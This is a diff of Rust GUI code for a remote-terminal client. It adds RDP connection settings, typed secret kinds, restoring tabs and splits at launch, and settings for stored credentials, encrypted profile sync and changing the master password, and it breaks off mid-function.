@@ -409,7 +415,7 @@ impl ProfileEditor {
widgets::hint(ui, "Select a key from your .ssh folder or type a full path"); widgets::hint(ui, "Select a key from your .ssh folder or type a full path");
mode(ui, "Passphrase Mode", &mut c.key_secret_mode); mode(ui, "Passphrase Mode", &mut c.key_secret_mode);
if c.key_secret_mode == SecretMode::Saved { if c.key_secret_mode == SecretMode::Saved {
secret(ui, "Passphrase", secrets, "passphrase", "Leave blank to keep the saved passphrase"); secret(ui, "Passphrase", secrets, SecretKind::Passphrase, "Leave blank to keep the saved passphrase");
} }
}); });
section(ui, "Host Verification", |ui| { section(ui, "Host Verification", |ui| {
@@ -526,7 +532,7 @@ impl ProfileEditor {
*totp_saved = false; *totp_saved = false;
s.info("TOTP secret removed."); s.info("TOTP secret removed.");
} else { } else {
match s.svc.set_profile_secret(&id, "totp", &v) { match s.svc.set_profile_secret(&id, SecretKind::Totp, &v) {
Ok(()) => { Ok(()) => {
totp.clear(); totp.clear();
*totp_saved = true; *totp_saved = true;
@@ -549,8 +555,7 @@ impl ProfileEditor {
text(ui, "Proxy Host", &mut c.proxy_host, "proxy.example.com"); text(ui, "Proxy Host", &mut c.proxy_host, "proxy.example.com");
num(ui, "Proxy Port", &mut c.proxy_port, 1..=65535); num(ui, "Proxy Port", &mut c.proxy_port, 1..=65535);
text(ui, "Proxy Username", &mut c.proxy_username, "Optional"); text(ui, "Proxy Username", &mut c.proxy_username, "Optional");
label(ui, "Proxy Password"); secret(ui, "Proxy Password", secrets, SecretKind::ProxyPassword, "Optional; leave blank to keep the saved password");
ui.add(TextEdit::singleline(&mut c.proxy_password).password(true).hint_text("Optional").desired_width(f32::INFINITY));
} }
}); });
section(ui, "Advanced", |ui| { section(ui, "Advanced", |ui| {
@@ -626,7 +631,7 @@ impl ProfileEditor {
err(ui, errs, "github.baseURL"); err(ui, errs, "github.baseURL");
mode(ui, "Token Storage", &mut c.secret_mode); mode(ui, "Token Storage", &mut c.secret_mode);
if c.secret_mode == SecretMode::Saved { if c.secret_mode == SecretMode::Saved {
secret(ui, "Personal Access Token", secrets, "github-token", "Leave blank to keep the saved token"); secret(ui, "Personal Access Token", secrets, SecretKind::GithubToken, "Leave blank to keep the saved token");
} }
}); });
section(ui, "Refresh", |ui| { section(ui, "Refresh", |ui| {
@@ -645,7 +650,7 @@ impl ProfileEditor {
err(ui, errs, "vnc.vncPort"); err(ui, errs, "vnc.vncPort");
mode(ui, "Password Storage", &mut c.secret_mode); mode(ui, "Password Storage", &mut c.secret_mode);
if c.secret_mode == SecretMode::Saved { if c.secret_mode == SecretMode::Saved {
secret(ui, "VNC Password", secrets, "vnc-password", "Leave blank to keep the saved password"); secret(ui, "VNC Password", secrets, SecretKind::VncPassword, "Leave blank to keep the saved password");
} }
}); });
section(ui, "Display", |ui| { section(ui, "Display", |ui| {
@@ -677,6 +682,110 @@ impl ProfileEditor {
}); });
} }
fn rdp(&mut self, ui: &mut Ui, errs: &[ValidationError]) {
let Self { p, keys, key_checks, secrets, .. } = self;
let c = p.rdp.get_or_insert_with(RdpConfig::defaults);
section(ui, "RDP", |ui| {
text(ui, "Domain", &mut c.domain, "Optional (e.g. CORP)");
mode(ui, "Password Storage", &mut c.secret_mode);
if c.secret_mode == SecretMode::Saved {
secret(ui, "Password", secrets, SecretKind::RdpPassword, "Leave blank to keep the saved password");
}
text(ui, "Kerberos KDC", &mut c.kerberos_kdc, "kdc.corp.example (empty: NTLM)");
let opts: Vec<_> = HostKeyPolicy::ALL.iter().map(|k| (*k, k.label())).collect();
combo(ui, "Certificate Policy", &mut c.host_key_policy, &opts);
check(
ui,
"Allow servers without NLA",
&mut c.allow_tls_only,
"Plain TLS logon, e.g. xrdp. Less secure: the session is set up before you authenticate.",
);
});
section(ui, "Devices", |ui| {
check(ui, "Play Remote Audio", &mut c.audio, "");
check(ui, "Redirect Printer", &mut c.redirect_printer, "Adds a \"Nexus Terminal\" printer; jobs are saved as PostScript files in Downloads");
if cfg!(unix) {
label(ui, "Shared Folder");
ui.horizontal(|ui| {
if widgets::button(ui, icon::FOLDER_OPEN, "Choose…").clicked()
&& let Some(dir) = rfd::FileDialog::new().set_title("Folder to share with the remote desktop").pick_folder()
{
c.shared_folder = dir.to_string_lossy().into_owned();
}
if !c.shared_folder.is_empty() && ui.button("Stop Sharing").clicked() {
c.shared_folder.clear();
}
});
err(ui, errs, "rdp.sharedFolder");
widgets::hint(
ui,
&if c.shared_folder.is_empty() {
"Nothing is shared.".to_string()
} else {
format!(
"{} appears on the remote desktop as a drive named Nexus; the server can read and change everything in it, and nothing outside it.",
c.shared_folder
)
},
);
}
});
section(ui, "Display", |ui| {
check(ui, "Scale to Fit", &mut c.scale_to_fit, "");
num(ui, "Width (0 = fit tab)", &mut c.width, 0..=8192);
err(ui, errs, "rdp.width");
num(ui, "Height (0 = fit tab)", &mut c.height, 0..=8192);
err(ui, errs, "rdp.height");
if c.width == 0 {
check(ui, "Resize With Tab", &mut c.dynamic_resolution, "Ask the server to match the tab's size as it changes");
}
});
section(ui, "RD Gateway", |ui| {
text(ui, "Gateway", &mut c.gateway_host, "gateway.example.com (empty: none)");
err(ui, errs, "rdp.gatewayHost");
if !c.gateway_host.trim().is_empty() {
text(ui, "Gateway Username", &mut c.gateway_username, "DOMAIN\\user");
err(ui, errs, "rdp.gatewayUsername");
mode(ui, "Gateway Password Storage", &mut c.gateway_secret_mode);
if c.gateway_secret_mode == SecretMode::Saved {
secret(ui, "Gateway Password", secrets, SecretKind::RdpGatewayPassword, "Leave blank to keep the saved password");
}
widgets::hint(ui, "Experimental: gateways that accept Basic authentication over HTTPS (the gateway's certificate is verified).");
}
});
section(ui, "Proxy", |ui| {
combo_s(ui, "Proxy Type", &mut c.proxy_type, &[("none", "None (direct connection)"), ("socks5", "SOCKS5"), ("http", "HTTP CONNECT")]);
err(ui, errs, "rdp.proxyType");
if c.proxy_type != "none" {
text(ui, "Proxy Host", &mut c.proxy_host, "proxy.example.com");
err(ui, errs, "rdp.proxyHost");
num(ui, "Proxy Port", &mut c.proxy_port, 0..=65535);
text(ui, "Proxy Username", &mut c.proxy_username, "Optional");
secret(ui, "Proxy Password", secrets, SecretKind::ProxyPassword, "Optional; leave blank to keep the saved password");
}
});
section(ui, "SSH Tunnel", |ui| {
tunnel(
ui,
"rdp",
Tunnel {
on: &mut c.ssh_tunnel,
host: &mut c.ssh_host,
port: &mut c.ssh_port,
user: &mut c.ssh_username,
auth: &mut c.ssh_auth_method,
key: &mut c.ssh_private_key,
agent: &mut c.ssh_agent_auth,
mode: &mut c.ssh_secret_mode,
},
keys,
key_checks,
secrets,
errs,
);
});
}
fn irc(&mut self, ui: &mut Ui, errs: &[ValidationError]) { fn irc(&mut self, ui: &mut Ui, errs: &[ValidationError]) {
let Self { p, keys, key_checks, secrets, rooms, .. } = self; let Self { p, keys, key_checks, secrets, rooms, .. } = self;
let port = &mut p.port; let port = &mut p.port;
@@ -699,7 +808,20 @@ impl ProfileEditor {
if c.server_password_required { if c.server_password_required {
mode(ui, "Server Password Storage", &mut c.server_password_mode); mode(ui, "Server Password Storage", &mut c.server_password_mode);
if c.server_password_mode == SecretMode::Saved { if c.server_password_mode == SecretMode::Saved {
secret(ui, "Server Password", secrets, "irc-server-password", "Leave blank to keep the saved password"); secret(ui, "Server Password", secrets, SecretKind::IrcServerPassword, "Leave blank to keep the saved password");
}
}
});
section(ui, "SASL", |ui| {
check(ui, "Log In with SASL", &mut c.sasl, "Authenticates during registration (SASL PLAIN), as most networks now expect");
if c.sasl {
text(ui, "SASL Account", &mut c.sasl_account, "Defaults to your nick");
mode(ui, "SASL Password Storage", &mut c.sasl_mode);
if c.sasl_mode == SecretMode::Saved {
secret(ui, "SASL Password", secrets, SecretKind::IrcSaslPassword, "Leave blank to keep the saved password");
}
if !c.use_tls && !c.ssh_tunnel {
widgets::hint(ui, "Without TLS or an SSH tunnel the password crosses the network in the clear.");
} }
} }
}); });
@@ -710,7 +832,7 @@ impl ProfileEditor {
err(ui, errs, "irc.nickServAccount"); err(ui, errs, "irc.nickServAccount");
mode(ui, "Password Storage", &mut c.nick_serv_mode); mode(ui, "Password Storage", &mut c.nick_serv_mode);
if c.nick_serv_mode == SecretMode::Saved { if c.nick_serv_mode == SecretMode::Saved {
secret(ui, "NickServ Password", secrets, "irc-nickserv-password", "Leave blank to keep the saved password"); secret(ui, "NickServ Password", secrets, SecretKind::IrcNickServPassword, "Leave blank to keep the saved password");
} }
} }
}); });
@@ -979,7 +1101,7 @@ fn reconnect(ui: &mut Ui, on: &mut bool, tries: &mut i64) {
} }
/// A password field whose value is stored in the vault/keychain under `kind` on save. /// A password field whose value is stored in the vault/keychain under `kind` on save.
fn secret(ui: &mut Ui, l: &str, secrets: &mut BTreeMap<&'static str, String>, kind: &'static str, hint: &str) { fn secret(ui: &mut Ui, l: &str, secrets: &mut BTreeMap<SecretKind, String>, kind: SecretKind, hint: &str) {
label(ui, l); label(ui, l);
ui.add(TextEdit::singleline(secrets.entry(kind).or_default()).password(true).hint_text(hint).desired_width(f32::INFINITY)); ui.add(TextEdit::singleline(secrets.entry(kind).or_default()).password(true).hint_text(hint).desired_width(f32::INFINITY));
} }
@@ -1147,7 +1269,7 @@ struct Tunnel<'a> {
mode: &'a mut SecretMode, mode: &'a mut SecretMode,
} }
fn tunnel(ui: &mut Ui, kind: &str, c: Tunnel, keys: &[String], checks: &mut KeyChecks, secrets: &mut BTreeMap<&'static str, String>, errs: &[ValidationError]) { fn tunnel(ui: &mut Ui, kind: &str, c: Tunnel, keys: &[String], checks: &mut KeyChecks, secrets: &mut BTreeMap<SecretKind, String>, errs: &[ValidationError]) {
check(ui, "Enable SSH Tunnel", c.on, ""); check(ui, "Enable SSH Tunnel", c.on, "");
if !*c.on { if !*c.on {
return; return;
@@ -1167,12 +1289,13 @@ fn tunnel(ui: &mut Ui, kind: &str, c: Tunnel, keys: &[String], checks: &mut KeyC
} }
mode(ui, "SSH Secret Storage", c.mode); mode(ui, "SSH Secret Storage", c.mode);
if *c.mode == SecretMode::Saved { if *c.mode == SecretMode::Saved {
// Kinds match the session manager's tunnel secrets ("vnc-ssh-password", "irc-ssh-passphrase"). let (l, k) = match (kind, c.auth.as_str()) {
let (l, k): (&str, &'static str) = match (kind, c.auth.as_str()) { ("vnc", "password") => ("SSH Password", SecretKind::VncSshPassword),
("vnc", "password") => ("SSH Password", "vnc-ssh-password"), ("vnc", _) => ("SSH Key Passphrase", SecretKind::VncSshPassphrase),
("vnc", _) => ("SSH Key Passphrase", "vnc-ssh-passphrase"), ("rdp", "password") => ("SSH Password", SecretKind::RdpSshPassword),
(_, "password") => ("SSH Password", "irc-ssh-password"), ("rdp", _) => ("SSH Key Passphrase", SecretKind::RdpSshPassphrase),
_ => ("SSH Key Passphrase", "irc-ssh-passphrase"), (_, "password") => ("SSH Password", SecretKind::IrcSshPassword),
_ => ("SSH Key Passphrase", SecretKind::IrcSshPassphrase),
}; };
secret(ui, l, secrets, k, "Leave blank to keep the saved secret"); secret(ui, l, secrets, k, "Leave blank to keep the saved secret");
} }
+21 -4
View File
@@ -9,7 +9,7 @@ use egui_phosphor::regular as icon;
use nexus_core::clients::serial; use nexus_core::clients::serial;
use nexus_core::models::{Profile, Protocol}; use nexus_core::models::{Profile, Protocol};
const PROTOCOLS: [Protocol; 5] = [Protocol::Ssh, Protocol::Telnet, Protocol::Raw, Protocol::Irc, Protocol::Serial]; const PROTOCOLS: [Protocol; 6] = [Protocol::Ssh, Protocol::Rdp, Protocol::Telnet, Protocol::Raw, Protocol::Irc, Protocol::Serial];
pub struct QuickConnect { pub struct QuickConnect {
open: bool, open: bool,
@@ -67,7 +67,7 @@ impl QuickConnect {
if self.protocol != Protocol::Serial { if self.protocol != Protocol::Serial {
p.port = self.port; p.port = self.port;
} }
if matches!(self.protocol, Protocol::Ssh | Protocol::Irc) { if matches!(self.protocol, Protocol::Ssh | Protocol::Rdp | Protocol::Irc) {
p.username = self.username.trim().into(); p.username = self.username.trim().into();
} }
if let Some(c) = &mut p.irc if let Some(c) = &mut p.irc
@@ -84,7 +84,7 @@ impl QuickConnect {
return; return;
} }
let t = Tokens::get(ctx); let t = Tokens::get(ctx);
let (enter, esc) = ctx.input(|i| (i.key_pressed(Key::Enter), i.key_pressed(Key::Escape))); let (enter, esc) = (crate::chrome::modal_key(ctx, Key::Enter), crate::chrome::modal_key(ctx, Key::Escape));
let mut connect = enter; let mut connect = enter;
let mut close = esc; let mut close = esc;
let label = |ui: &mut egui::Ui, l: &str| ui.label(RichText::new(l).color(t.text_dim).size(12.0)); let label = |ui: &mut egui::Ui, l: &str| ui.label(RichText::new(l).color(t.text_dim).size(12.0));
@@ -134,7 +134,7 @@ impl QuickConnect {
label(ui, "Port"); label(ui, "Port");
ui.add(DragValue::new(&mut self.port).range(1..=65535).speed(0.25)); ui.add(DragValue::new(&mut self.port).range(1..=65535).speed(0.25));
} }
if matches!(self.protocol, Protocol::Ssh | Protocol::Irc) { if matches!(self.protocol, Protocol::Ssh | Protocol::Rdp | Protocol::Irc) {
label(ui, "Username"); label(ui, "Username");
ui.add(TextEdit::singleline(&mut self.username).hint_text("root").desired_width(f32::INFINITY)); ui.add(TextEdit::singleline(&mut self.username).hint_text("root").desired_width(f32::INFINITY));
} }
@@ -184,4 +184,21 @@ mod tests {
let p = q.profile().unwrap(); let p = q.profile().unwrap();
assert_eq!((p.port, p.username.as_str()), (0, "")); assert_eq!((p.port, p.username.as_str()), (0, ""));
} }
#[test]
fn quick_profiles_pass_validation_unless_incomplete() {
use nexus_core::validation::validate_profile;
for proto in PROTOCOLS {
let mut q = QuickConnect { host: "box".into(), username: "me".into(), ..Default::default() };
q.set_protocol(proto);
let mut p = q.profile().unwrap();
p.normalize();
assert!(validate_profile(&p).is_ok(), "{proto:?}: {:?}", validate_profile(&p).err().map(|e| e.to_string()));
}
let mut q = QuickConnect { host: "box".into(), ..Default::default() };
q.set_protocol(Protocol::Ssh);
let mut p = q.profile().unwrap();
p.normalize();
assert!(validate_profile(&p).is_err(), "SSH needs a username");
}
} }
+1 -1
View File
@@ -266,7 +266,7 @@ impl Recordings {
let Some(r) = &self.confirm_delete else { let Some(r) = &self.confirm_delete else {
return; return;
}; };
let (mut yes, mut no) = (false, ctx.input(|i| i.key_pressed(Key::Escape))); let (mut yes, mut no) = (false, crate::chrome::modal_key(ctx, Key::Escape));
let name = if r.title.is_empty() { r.id.clone() } else { r.title.clone() }; let name = if r.title.is_empty() { r.id.clone() } else { r.title.clone() };
crate::chrome::modal(ctx, "rec-delete", 380.0, |ui| { crate::chrome::modal(ctx, "rec-delete", 380.0, |ui| {
ui.label(RichText::new("Delete recording?").font(theme::semibold(15.0))); ui.label(RichText::new("Delete recording?").font(theme::semibold(15.0)));
+184
View File
@@ -0,0 +1,184 @@
//! Reopens the previous run's tabs and splits at launch: saved profiles reconnect, local shells
//! start again in the directory they were in. The layout is saved whenever it changes (not only on
//! exit), so it survives a crash. Quick Connect tabs aren't restored (they have no saved profile).
use crate::app::App;
use crate::splits::{Dir, Split};
use crate::state::Tab;
use nexus_core::models::Protocol;
use serde::{Deserialize, Serialize};
use std::path::PathBuf;
const KEY: &str = "session_layout";
#[derive(Serialize, Deserialize, PartialEq, Debug, Default)]
pub struct Saved {
tabs: Vec<SavedTab>,
active: usize,
}
#[derive(Serialize, Deserialize, PartialEq, Debug)]
struct SavedTab {
name: String,
pinned: bool,
layout: Layout,
}
#[derive(Serialize, Deserialize, PartialEq, Debug)]
#[serde(tag = "kind", rename_all = "camelCase")]
enum Layout {
Profile {
id: String,
},
Local {
shell: String,
cwd: Option<PathBuf>,
},
/// A split pane still showing the connection picker, or a session that can't be restored.
Empty,
Split {
down: bool,
ratio: f32,
a: Box<Layout>,
b: Box<Layout>,
},
}
fn session_layout(app: &App, id: &str) -> Layout {
let Some(pane) = app.s.pane(id) else { return Layout::Empty };
if pane.info.protocol == Protocol::Local {
let (shell, cwd) = app.s.svc.sessions.local_state(id).unwrap_or_default();
return Layout::Local { shell, cwd };
}
match app.s.profile(&pane.info.profile_id) {
Some(p) => Layout::Profile { id: p.id.clone() },
None => Layout::Empty,
}
}
fn split_layout(app: &App, sp: &Split) -> Layout {
match sp {
Split::Leaf(Some(id)) => session_layout(app, id),
Split::Leaf(None) => Layout::Empty,
Split::Node { dir, ratio, a, b } => {
Layout::Split { down: *dir == Dir::Down, ratio: *ratio, a: Box::new(split_layout(app, a)), b: Box::new(split_layout(app, b)) }
}
}
}
pub fn capture(app: &App) -> Saved {
let tabs: Vec<SavedTab> = app
.s
.tabs
.iter()
.map(|t| {
let info = app.s.pane(&t.id).map(|p| (p.info.tab_name.clone(), p.info.pinned)).unwrap_or_default();
let layout = match &t.split {
Some(sp) => split_layout(app, sp),
None => session_layout(app, &t.id),
};
SavedTab { name: info.0, pinned: info.1, layout }
})
.filter(|t| t.layout != Layout::Empty)
.collect();
let active = app.s.tabs.iter().position(|t| Some(&t.id) == app.s.active.as_ref()).unwrap_or(0);
Saved { active: active.min(tabs.len().saturating_sub(1)), tabs }
}
/// Saves the layout if it changed since the last save (called each frame; cheap for a few tabs).
pub fn save_if_changed(app: &mut App) {
let Ok(json) = serde_json::to_string(&capture(app)) else { return };
if app.saved_layout.as_deref() != Some(&json) {
let _ = app.s.svc.store.set_setting(KEY, &json);
app.saved_layout = Some(json);
}
}
/// Opens one session for a layout leaf; returns its id.
fn open(app: &mut App, l: &Layout) -> Option<String> {
let id = match l {
Layout::Profile { id } => app.s.svc.connect_profile(id).ok()?,
Layout::Local { shell, cwd } => app.s.svc.connect_local_in(shell, cwd.clone()),
_ => return None,
};
app.add_session(&id, false);
Some(id)
}
fn build(app: &mut App, l: &Layout) -> Split {
match l {
Layout::Split { down, ratio, a, b } => Split::Node {
dir: if *down { Dir::Down } else { Dir::Right },
ratio: ratio.clamp(0.1, 0.9),
a: Box::new(build(app, a)),
b: Box::new(build(app, b)),
},
leaf => Split::Leaf(open(app, leaf)),
}
}
pub fn restore(app: &mut App) {
let Some(saved) = app.s.svc.store.setting(KEY).and_then(|j| serde_json::from_str::<Saved>(&j).ok()) else { return };
let mut ids = vec![];
for t in &saved.tabs {
let (id, split) = match &t.layout {
Layout::Split { .. } => {
let sp = build(app, &t.layout);
let Some(first) = sp.sessions().first().cloned() else { continue };
(first, Some(sp))
}
leaf => match open(app, leaf) {
Some(id) => (id, None),
None => continue,
},
};
if !t.name.is_empty() {
let _ = app.s.svc.sessions.rename(&id, &t.name);
if let Some(p) = app.s.pane_mut(&id) {
p.info.tab_name = t.name.clone();
}
}
if t.pinned {
let _ = app.s.svc.sessions.pin(&id, true);
if let Some(p) = app.s.pane_mut(&id) {
p.info.pinned = true;
}
}
app.s.tabs.push(Tab { id: id.clone(), activity: false, split });
ids.push(id);
}
if let Some(id) = ids.get(saved.active).or(ids.first()) {
app.s.active = Some(id.clone());
app.s.focused = Some(id.clone());
}
if !ids.is_empty() {
app.s.info(format!("Restored {} tab(s) from last time", ids.len()));
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn layouts_round_trip() {
let saved = Saved {
active: 1,
tabs: vec![
SavedTab { name: "web".into(), pinned: true, layout: Layout::Profile { id: "p1".into() } },
SavedTab {
name: String::new(),
pinned: false,
layout: Layout::Split {
down: true,
ratio: 0.3,
a: Box::new(Layout::Local { shell: "/bin/zsh".into(), cwd: Some("/tmp".into()) }),
b: Box::new(Layout::Empty),
},
},
],
};
let json = serde_json::to_string(&saved).unwrap();
assert_eq!(serde_json::from_str::<Saved>(&json).unwrap(), saved);
}
}
+306 -22
View File
@@ -9,7 +9,8 @@ use egui::{RichText, Ui, vec2};
use egui_phosphor::regular as icon; use egui_phosphor::regular as icon;
use nexus_core::models::{AppPreferences, KnownHost, Protocol}; use nexus_core::models::{AppPreferences, KnownHost, Protocol};
use nexus_core::updater::UpdateInfo; use nexus_core::updater::UpdateInfo;
use std::sync::{Arc, Mutex}; use parking_lot::Mutex;
use std::sync::Arc;
/// A result from a worker thread, polled each frame (`Some` while the work is in flight). /// A result from a worker thread, polled each frame (`Some` while the work is in flight).
pub struct Job<T>(Arc<Mutex<Option<T>>>); pub struct Job<T>(Arc<Mutex<Option<T>>>);
@@ -20,14 +21,14 @@ impl<T: Send + 'static> Job<T> {
let (out, ctx) = (slot.clone(), ctx.clone()); let (out, ctx) = (slot.clone(), ctx.clone());
std::thread::spawn(move || { std::thread::spawn(move || {
let v = f(); let v = f();
*out.lock().unwrap() = Some(v); *out.lock() = Some(v);
ctx.request_repaint(); ctx.request_repaint();
}); });
Job(slot) Job(slot)
} }
pub fn take(&self) -> Option<T> { pub fn take(&self) -> Option<T> {
self.0.lock().unwrap().take() self.0.lock().take()
} }
} }
@@ -87,11 +88,16 @@ pub fn strength_meter(ui: &mut Ui, pw: &str) {
/// Create or unlock the vault. /// Create or unlock the vault.
struct MasterPrompt { struct MasterPrompt {
new: bool, new: bool,
/// Changing the password: the current one (re-encrypts the vault under `pw`).
change: Option<String>,
pw: String, pw: String,
confirm: String, confirm: String,
error: String, error: String,
} }
/// (profile id, profile name, kind, "keychain"/"vault") per stored credential.
type Credentials = Vec<(String, String, nexus_core::secrets::SecretKind, &'static str)>;
#[derive(Default)] #[derive(Default)]
pub struct Settings { pub struct Settings {
open: bool, open: bool,
@@ -101,6 +107,11 @@ pub struct Settings {
prefs: AppPreferences, prefs: AppPreferences,
theme: ThemeKind, theme: ThemeKind,
known: Vec<KnownHost>, known: Vec<KnownHost>,
/// Add-CA form: (host pattern, public key), shown when Some.
new_ca: Option<(String, String)>,
sync_password: String,
creds: Option<Credentials>,
creds_job: Option<Job<Credentials>>,
default_shell: String, default_shell: String,
help_topic: usize, help_topic: usize,
master: Option<MasterPrompt>, master: Option<MasterPrompt>,
@@ -113,6 +124,7 @@ impl Settings {
pub fn open(&mut self, tab: SettingsTab) { pub fn open(&mut self, tab: SettingsTab) {
self.open = true; self.open = true;
self.fresh = true; self.fresh = true;
self.creds = None;
self.tab = tab; self.tab = tab;
} }
@@ -151,6 +163,7 @@ impl Settings {
SettingsTab::Terminal => self.terminal(ui), SettingsTab::Terminal => self.terminal(ui),
SettingsTab::Security => self.security(ui, s), SettingsTab::Security => self.security(ui, s),
SettingsTab::KnownHosts => self.known_hosts(ui, s), SettingsTab::KnownHosts => self.known_hosts(ui, s),
SettingsTab::Diagnostics => self.diagnostics(ui, s),
SettingsTab::Help => self.help(ui), SettingsTab::Help => self.help(ui),
SettingsTab::About => self.about(ui, s), SettingsTab::About => self.about(ui, s),
} }
@@ -206,6 +219,7 @@ impl Settings {
(SettingsTab::Terminal, icon::TERMINAL_WINDOW, "Terminal"), (SettingsTab::Terminal, icon::TERMINAL_WINDOW, "Terminal"),
(SettingsTab::Security, icon::SHIELD_CHECK, "Security"), (SettingsTab::Security, icon::SHIELD_CHECK, "Security"),
(SettingsTab::KnownHosts, icon::FINGERPRINT, "Known Hosts"), (SettingsTab::KnownHosts, icon::FINGERPRINT, "Known Hosts"),
(SettingsTab::Diagnostics, icon::STETHOSCOPE, "Diagnostics"),
(SettingsTab::Help, icon::BOOK_OPEN, "Help"), (SettingsTab::Help, icon::BOOK_OPEN, "Help"),
(SettingsTab::About, icon::INFO, "About"), (SettingsTab::About, icon::INFO, "About"),
] { ] {
@@ -248,6 +262,18 @@ impl Settings {
field(ui, "Confirm on disconnect"); field(ui, "Confirm on disconnect");
ui.checkbox(&mut p.confirm_on_disconnect, "Ask before disconnecting sessions"); ui.checkbox(&mut p.confirm_on_disconnect, "Ask before disconnecting sessions");
ui.end_row(); ui.end_row();
field(ui, "Restore tabs");
ui.checkbox(&mut p.restore_sessions, "Reopen last session's tabs and splits at launch");
ui.end_row();
field(ui, "Remote clipboard");
ui.checkbox(&mut p.allow_remote_clipboard, "Let remote hosts set the clipboard (OSC 52, VNC)");
ui.end_row();
field(ui, "Multi-line paste");
ui.checkbox(&mut p.confirm_multiline_paste, "Ask before pasting several lines into a terminal");
ui.end_row();
field(ui, "Updates");
ui.checkbox(&mut p.check_for_updates, "Check for updates at launch");
ui.end_row();
field(ui, "Status bar"); field(ui, "Status bar");
ui.checkbox(&mut p.show_status_bar, "Show status bar"); ui.checkbox(&mut p.show_status_bar, "Show status bar");
ui.end_row(); ui.end_row();
@@ -355,17 +381,131 @@ impl Settings {
ui.label("Working…"); ui.label("Working…");
} else if !init { } else if !init {
if widgets::primary(ui, icon::SHIELD_PLUS, "Initialise Secret Store").clicked() { if widgets::primary(ui, icon::SHIELD_PLUS, "Initialise Secret Store").clicked() {
self.master = Some(MasterPrompt { new: true, pw: String::new(), confirm: String::new(), error: String::new() }); self.master = Some(MasterPrompt { new: true, change: None, pw: String::new(), confirm: String::new(), error: String::new() });
} }
} else if !unlocked { } else if !unlocked {
if widgets::primary(ui, icon::LOCK_OPEN, "Unlock").clicked() { if widgets::primary(ui, icon::LOCK_OPEN, "Unlock").clicked() {
self.master = Some(MasterPrompt { new: false, pw: String::new(), confirm: String::new(), error: String::new() }); self.master = Some(MasterPrompt { new: false, change: None, pw: String::new(), confirm: String::new(), error: String::new() });
} }
} else if widgets::button(ui, icon::LOCK, "Lock").clicked() { } else {
s.svc.secrets.vault.lock(); ui.horizontal(|ui| {
s.info("Secret store locked"); if widgets::button(ui, icon::LOCK, "Lock").clicked() {
s.svc.secrets.vault.lock();
s.info("Secret store locked");
}
if widgets::button(ui, icon::KEY, "Change Master Password…").clicked() {
self.master =
Some(MasterPrompt { new: true, change: Some(String::new()), pw: String::new(), confirm: String::new(), error: String::new() });
}
});
} }
}); });
self.credentials_section(ui, s);
self.sync_section(ui, s);
}
/// Stored credentials per profile, with Forget. Loaded in the background (keychain probes).
fn credentials_section(&mut self, ui: &mut Ui, s: &mut Shared) {
let t = Tokens::get(ui.ctx());
ui.add_space(12.0);
widgets::section(ui, "Stored credentials");
if let Some(list) = poll(&mut self.creds_job) {
self.creds = Some(list);
}
if self.creds.is_none() && self.creds_job.is_none() {
let svc = s.svc.clone();
self.creds_job = Some(Job::spawn(ui.ctx(), move || svc.credential_inventory()));
}
let Some(list) = &self.creds else {
ui.horizontal(|ui| {
ui.spinner();
ui.label("Checking the keychain and vault…");
});
return;
};
if list.is_empty() {
widgets::hint(ui, "No saved credentials (the vault must be unlocked to see what it holds).");
return;
}
let mut forget = None;
egui::Grid::new("stored-creds").num_columns(4).striped(true).spacing(vec2(14.0, 5.0)).show(ui, |ui| {
for (id, name, kind, at) in list {
ui.label(name);
ui.label(RichText::new(kind.as_str()).font(theme::mono(11.5)));
ui.label(RichText::new(*at).color(t.text_dim));
if ui.button(RichText::new(format!("{} Forget", icon::TRASH)).color(t.danger)).clicked() {
forget = Some((id.clone(), *kind));
}
ui.end_row();
}
});
if let Some((id, kind)) = forget {
s.svc.forget_credential(&id, kind);
s.success(format!("Forgot the {} credential", kind.as_str()));
self.creds = None;
}
}
fn sync_section(&mut self, ui: &mut Ui, s: &mut Shared) {
ui.add_space(12.0);
widgets::section(ui, "Profile sync");
widgets::hint(
ui,
"Keep connection profiles in step across machines through a folder they share (a cloud drive, a network share, a git checkout). \
Profiles are stored there encrypted with the sync password; passwords and keys are never synced.",
);
form(ui, "sync-form", |ui| {
field(ui, "Folder");
ui.horizontal(|ui| {
let shown = if self.prefs.sync_folder.is_empty() { "Not set".to_string() } else { self.prefs.sync_folder.clone() };
ui.label(RichText::new(shown).font(theme::mono(12.0)));
if widgets::button(ui, icon::FOLDER_OPEN, "Choose…").clicked()
&& let Some(dir) = rfd::FileDialog::new().set_title("Folder to sync profiles through").pick_folder()
{
self.set_sync_folder(s, dir.to_string_lossy().into_owned());
}
if !self.prefs.sync_folder.is_empty() && ui.button("Turn Off").clicked() {
self.set_sync_folder(s, String::new());
}
});
ui.end_row();
field(ui, "Sync password");
ui.horizontal(|ui| {
ui.add(
egui::TextEdit::singleline(&mut self.sync_password)
.password(true)
.hint_text(if s.svc.has_sync_password() { "Stored — type to replace" } else { "Same on every machine" })
.desired_width(220.0),
);
if ui.add_enabled(!self.sync_password.is_empty(), egui::Button::new("Save")).clicked() {
match s.svc.set_sync_password(&self.sync_password) {
Ok(()) => s.success("Sync password stored"),
Err(e) => s.error(format!("Couldn't store the sync password: {e}")),
}
self.sync_password.clear();
}
});
ui.end_row();
field(ui, "");
if widgets::button(ui, icon::ARROWS_CLOCKWISE, "Sync Now").clicked() {
s.request(Request::SyncProfiles);
}
ui.end_row();
});
}
/// Saves just the sync folder (the rest of the form keeps its unsaved edits).
fn set_sync_folder(&mut self, s: &mut Shared, folder: String) {
let mut stored = s.svc.preferences();
stored.sync_folder = folder.clone();
match s.svc.save_preferences(&stored) {
Ok(()) => {
self.prefs.sync_folder = folder.clone();
s.prefs.sync_folder = folder;
s.request(Request::SyncProfiles);
}
Err(e) => s.error(format!("Failed to save: {e}")),
}
} }
fn master_dialog(&mut self, ctx: &egui::Context, s: &mut Shared) { fn master_dialog(&mut self, ctx: &egui::Context, s: &mut Shared) {
@@ -374,17 +514,29 @@ impl Settings {
let mut cancel = false; let mut cancel = false;
let r = egui::Modal::new(egui::Id::new("master-password")).show(ctx, |ui| { let r = egui::Modal::new(egui::Id::new("master-password")).show(ctx, |ui| {
ui.set_width(380.0); ui.set_width(380.0);
let title = if m.new { "Create Master Password" } else { "Unlock Secret Store" }; let title = if m.change.is_some() {
"Change Master Password"
} else if m.new {
"Create Master Password"
} else {
"Unlock Secret Store"
};
ui.label(RichText::new(format!("{} {title}", icon::KEY)).font(theme::semibold(15.0))); ui.label(RichText::new(format!("{} {title}", icon::KEY)).font(theme::semibold(15.0)));
ui.label(if m.new { ui.label(if m.change.is_some() {
"Every saved credential is re-encrypted under the new password."
